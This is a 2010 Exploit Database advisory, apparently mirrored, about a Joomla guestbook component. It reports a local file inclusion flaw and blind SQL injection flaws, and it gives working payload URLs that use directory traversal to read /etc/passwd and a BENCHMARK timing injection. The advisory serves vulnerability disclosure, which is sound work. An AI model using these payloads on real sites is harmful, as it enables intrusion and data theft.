Joomla! Component JE Guestbook 1.0 – Multiple Vulnerabilities

• Exploit Database
• 128 阅读

• 作者： Salvatore Fresta
  日期： 2010-09-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15157/
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  JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities   NameJE Guestbook Vendorhttp://www.joomlaextensions.co.in Versions Affected 1.0   AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-09-30   X. INDEX   I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX   I. ABOUT THE APPLICATION ________________________   JE GuestComponentisan open source Joomla guestbook componentwithspam protectionand many customization options.     II. DESCRIPTION _______________   Some parameters are not properly sanitised.     III. ANALYSIS _____________   Summary:   A) Local File Inclusion B) Multiple Blind SQL Injection   A) Local File Inclusion _______________________   Input passed to the "view" parameter injeguestbook.php (when option is set to com_jeguestbook)is not properly verified before being used to include files. This can be exploited to include arbitraryfilesfromlocal resourcesvia directory traversal attacks and URL-encoded NULL bytes.     B) Multiple Blind SQL Injection _______________________________   Many parameters are not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.     IV. SAMPLE CODE _______________   A) Local File Inclusion   http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00     B) Multiple Blind SQL Injection   http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))     V. FIX ______   No fix.